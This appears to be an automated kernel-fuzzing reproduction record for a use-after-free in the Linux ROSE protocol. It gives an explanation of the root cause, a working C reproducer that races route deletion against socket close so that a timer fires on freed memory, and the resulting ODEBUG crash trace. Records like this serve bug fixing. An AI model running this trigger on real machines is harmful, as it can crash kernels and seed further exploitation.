This is an earlier, more precise detection of the exact same bug. The reproducer is fully successful. OracleFeedback:The reproducer successfully triggered the underlying bug. 

Although the crash title is `ODEBUG: free active (active state 0) object: ... hint: rose_t0timer_expiry` instead of the original `KASAN: slab-use-after-free Write in rose_send_frame`, they represent the exact same root cause.

In the original KASAN report:
1. `rose_timer_expiry` frees a `rose_neigh` object via `rose_neigh_put` -> `kfree`.
2. Later, the `t0timer` (which is embedded in the freed `rose_neigh` object) fires and executes its callback `rose_t0timer_expiry`.
3. `rose_t0timer_expiry` calls `rose_transmit_restart_request` -> `rose_send_frame`, which accesses the freed `rose_neigh` object, causing the KASAN Use-After-Free.

In the triggered crash:
The kernel has `CONFIG_DEBUG_OBJECTS_TIMERS` enabled. When `rose_timer_expiry` calls `rose_neigh_put` -> `kfree` to free the `rose_neigh` object, the debug objects infrastructure detects that the embedded `t0timer` (with callback `rose_t0timer_expiry`) is still active and pending. It immediately raises an `ODEBUG` warning and prevents the silent memory corruption.

This is an earlier, more precise detection of the exact same bug. The reproducer is fully successful. ProbeSuccessful:true ReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/if_arp.h>
#include <linux/ax25.h>
#include <linux/rose.h>

#define N_AX25 5

void set_sysctl(const char *path, int val) {
    FILE *f = fopen(path, "w");
    if (f) {
        fprintf(f, "%d\n", val);
        fclose(f);
        printf("[+] Set sysctl %s to %d\n", path, val);
    } else {
        printf("[-] Failed to open sysctl %s: %s\n", path, strerror(errno));
    }
}

int main() {
    int res;

    // 1. Create ax0 using mkiss line discipline
    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        printf("[-] Failed to open /dev/ptmx: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Opened /dev/ptmx.\n");

    int ldisc = N_AX25;
    res = ioctl(ptmx, TIOCSETD, &ldisc);
    if (res < 0) {
        printf("[-] Failed to ioctl TIOCSETD: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Set line discipline to N_AX25.\n");

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        printf("[-] Failed to create AF_ROSE socket: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created AF_ROSE socket.\n");

    // 2. Bring ax0 up
    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "ax0");
    res = ioctl(sock, SIOCGIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCGIFFLAGS for ax0: %s\n", strerror(errno));
        exit(1);
    }
    ifr.ifr_flags |= IFF_UP;
    res = ioctl(sock, SIOCSIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCSIFFLAGS for ax0: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Brought ax0 up.\n");

    // 3. Set rose0 mac address and bring it up
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    ifr.ifr_hwaddr.sa_family = ARPHRD_ROSE;
    ifr.ifr_hwaddr.sa_data[0] = 1;
    res = ioctl(sock, SIOCSIFHWADDR, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCSIFHWADDR for rose0: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Set rose0 MAC address.\n");

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    res = ioctl(sock, SIOCGIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCGIFFLAGS for rose0: %s\n", strerror(errno));
        exit(1);
    }
    ifr.ifr_flags |= IFF_UP;
    res = ioctl(sock, SIOCSIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCSIFFLAGS for rose0: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Brought rose0 up.\n");

    // 4. Set sysctls to guarantee t3timer and t0timer expire at the same time
    set_sysctl("/proc/sys/net/rose/clear_request_timeout", 100);
    set_sysctl("/proc/sys/net/rose/restart_request_timeout", 100);

    struct sockaddr_rose saddr;
    memset(&saddr, 0, sizeof(saddr));
    saddr.srose_family = AF_ROSE;
    saddr.srose_addr.rose_addr[0] = 1;
    saddr.srose_ndigis = 0;

    struct rose_route_struct route;
    memset(&route, 0, sizeof(route));
    route.address.rose_addr[0] = 2;
    route.mask = 5;
    route.neighbour.ax25_call[0] = 'A' << 1;
    route.neighbour.ax25_call[1] = 'B' << 1;
    route.neighbour.ax25_call[2] = 'C' << 1;
    route.neighbour.ax25_call[3] = 'D' << 1;
    route.neighbour.ax25_call[4] = 'E' << 1;
    route.neighbour.ax25_call[5] = 'F' << 1;
    route.neighbour.ax25_call[6] = 0;
    strcpy(route.device, "ax0");

    // 5. Trigger the race condition
    for (int i = 0; i < 10; i++) {
        int rsock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
        if (rsock < 0) {
            printf("[-] Failed to create rsock: %s\n", strerror(errno));
            exit(1);
        }

        res = bind(rsock, (struct sockaddr *)&saddr, sizeof(saddr));
        if (res < 0) {
            printf("[-] Failed to bind rsock: %s\n", strerror(errno));
            exit(1);
        }

        res = ioctl(rsock, SIOCADDRT, &route);
        if (res < 0) {
            printf("[-] Failed to ioctl SIOCADDRT: %s\n", strerror(errno));
            exit(1);
        }

        res = fcntl(rsock, F_SETFL, O_NONBLOCK);
        if (res < 0) {
            printf("[-] Failed to fcntl O_NONBLOCK: %s\n", strerror(errno));
            exit(1);
        }
        
        struct sockaddr_rose dest_addr;
        memset(&dest_addr, 0, sizeof(dest_addr));
        dest_addr.srose_family = AF_ROSE;
        dest_addr.srose_addr.rose_addr[0] = 2;
        dest_addr.srose_ndigis = 0;
        
        // Connect to the route (starts t0timer)
        res = connect(rsock, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
        if (res < 0 && errno != EINPROGRESS) {
            printf("[-] Failed to connect: %s\n", strerror(errno));
            exit(1);
        }
        
        // Delete the route (stops t0timer, drops routing refcount)
        res = ioctl(rsock, SIOCDELRT, &route);
        if (res < 0) {
            printf("[-] Failed to ioctl SIOCDELRT: %s\n", strerror(errno));
            exit(1);
        }
        
        // Close the socket (restarts t0timer, starts t3timer)
        close(rsock);
        printf("[+] Iteration %d completed.\n", i);
    }

    // 6. Wait for timers to expire (t3timer frees neigh, t0timer triggers UAF)
    printf("[+] Waiting for timers to expire...\n");
    sleep(1);

    printf("[+] Done.\n");
    return 0;
}
 Reproduced:true ReproducedBugTitle:WARNING: ODEBUG bug in handle_softirqs ReproducedCrashReport:------------[ cut here ]------------
ODEBUG: free active (active state 0) object: ffff88811733b090 object type: timer_list hint: rose_t0timer_expiry+0x0/0x350 net/rose/rose_link.c:-1
WARNING: lib/debugobjects.c:632 at debug_print_object lib/debugobjects.c:629 [inline], CPU#0: swapper/0/0
WARNING: lib/debugobjects.c:632 at __debug_check_no_obj_freed lib/debugobjects.c:1116 [inline], CPU#0: swapper/0/0
WARNING: lib/debugobjects.c:632 at debug_check_no_obj_freed+0x405/0x550 lib/debugobjects.c:1146, CPU#0: swapper/0/0
Modules linked in:
CPU: 0 UID: 0 PID: 0 Comm: swapper/0 Not tainted syzkaller #1 PREEMPT(full) 
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
RIP: 0010:debug_print_object lib/debugobjects.c:629 [inline]
RIP: 0010:__debug_check_no_obj_freed lib/debugobjects.c:1116 [inline]
RIP: 0010:debug_check_no_obj_freed+0x44a/0x550 lib/debugobjects.c:1146
Code: 89 44 24 20 e8 b7 5f 7a fd 48 8b 44 24 20 4c 8b 4d 00 4c 89 ef 48 c7 c6 20 02 0e 8c 48 c7 c2 20 08 0e 8c 8b 0c 24 4d 89 f8 50 <67> 48 0f b9 3a 48 83 c4 08 4c 8b 6c 24 18 48 b9 00 00 00 00 00 fc
RSP: 0018:ffffc90000007b68 EFLAGS: 00010246
RAX: ffffffff8a7d4d90 RBX: ffffffff9a51df10 RCX: 0000000000000000
RDX: ffffffff8c0e0820 RSI: ffffffff8c0e0220 RDI: ffffffff90255cb0
RBP: ffffffff8bb03e60 R08: ffff88811733b090 R09: ffffffff8bb05240
R10: dffffc0000000000 R11: ffffffff81b0af00 R12: ffff88811733b200
R13: ffffffff90255cb0 R14: ffff88811733b000 R15: ffff88811733b090
FS:  0000000000000000(0000) GS:ffff8881a55ef000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 0000562af2b84300 CR3: 000000000e54e000 CR4: 00000000000006f0
Call Trace:
 <IRQ>
 slab_free_hook mm/slub.c:2616 [inline]
 slab_free mm/slub.c:6165 [inline]
 kfree+0x13a/0x630 mm/slub.c:6483
 rose_neigh_put include/net/rose.h:166 [inline]
 rose_timer_expiry+0x4cb/0x600 net/rose/rose_timer.c:183
 call_timer_fn+0x192/0x640 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers kernel/time/timer.c:2373 [inline]
 __run_timer_base+0x652/0x8b0 kernel/time/timer.c:2385
 run_timer_base kernel/time/timer.c:2394 [inline]
 run_timer_softirq+0xb7/0x170 kernel/time/timer.c:2404
 handle_softirqs+0x22a/0x870 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0x5f/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa6/0xc0 arch/x86/kernel/apic/apic.c:1056
 </IRQ>
 <TASK>
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697
RIP: 0010:pv_native_safe_halt+0xf/0x20 arch/x86/kernel/paravirt.c:63
Code: ae 7b 02 c3 cc cc cc cc cc cc cc 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa eb 07 0f 00 2d 23 85 16 00 fb f4 <e9> 7c e7 02 00 cc cc cc cc cc cc cc cc cc cc cc cc 90 90 90 90 90
RSP: 0018:ffffffff8e407dc0 EFLAGS: 00000202
RAX: 0000000000118161 RBX: ffffffff8199900a RCX: 0000000080000001
RDX: 0000000000000001 RSI: ffffffff8de3780d RDI: ffffffff8c0dfb60
RBP: ffffffff8e407eb0 R08: ffff88813883399b R09: 1ffff11027106733
R10: dffffc0000000000 R11: ffffed1027106734 R12: 0000000000000000
R13: 1ffffffff1c92a08 R14: 0000000000000000 R15: 1ffffffff1c92a08
 arch_safe_halt arch/x86/kernel/process.c:766 [inline]
 default_idle+0x9/0x20 arch/x86/kernel/process.c:767
 default_idle_call+0x72/0xb0 kernel/sched/idle.c:122
 cpuidle_idle_call kernel/sched/idle.c:199 [inline]
 do_idle+0x36a/0x5f0 kernel/sched/idle.c:352
 cpu_startup_entry+0x43/0x60 kernel/sched/idle.c:451
 rest_init+0x2de/0x300 init/main.c:760
 start_kernel+0x385/0x3d0 init/main.c:1210
 x86_64_start_reservations+0x24/0x30 arch/x86/kernel/head64.c:310
 x86_64_start_kernel+0x143/0x1c0 arch/x86/kernel/head64.c:291
 common_startup_64+0x13e/0x147
 </TASK>
----------------
Code disassembly (best guess):
   0:	89 44 24 20          	mov    %eax,0x20(%rsp)
   4:	e8 b7 5f 7a fd       	call   0xfd7a5fc0
   9:	48 8b 44 24 20       	mov    0x20(%rsp),%rax
   e:	4c 8b 4d 00          	mov    0x0(%rbp),%r9
  12:	4c 89 ef             	mov    %r13,%rdi
  15:	48 c7 c6 20 02 0e 8c 	mov    $0xffffffff8c0e0220,%rsi
  1c:	48 c7 c2 20 08 0e 8c 	mov    $0xffffffff8c0e0820,%rdx
  23:	8b 0c 24             	mov    (%rsp),%ecx
  26:	4d 89 f8             	mov    %r15,%r8
  29:	50                   	push   %rax
* 2a:	67 48 0f b9 3a       	ud1    (%edx),%rdi <-- trapping instruction
  2f:	48 83 c4 08          	add    $0x8,%rsp
  33:	4c 8b 6c 24 18       	mov    0x18(%rsp),%r13
  38:	48                   	rex.W
  39:	b9 00 00 00 00       	mov    $0x0,%ecx
  3e:	00 fc                	add    %bh,%ah
]

map[]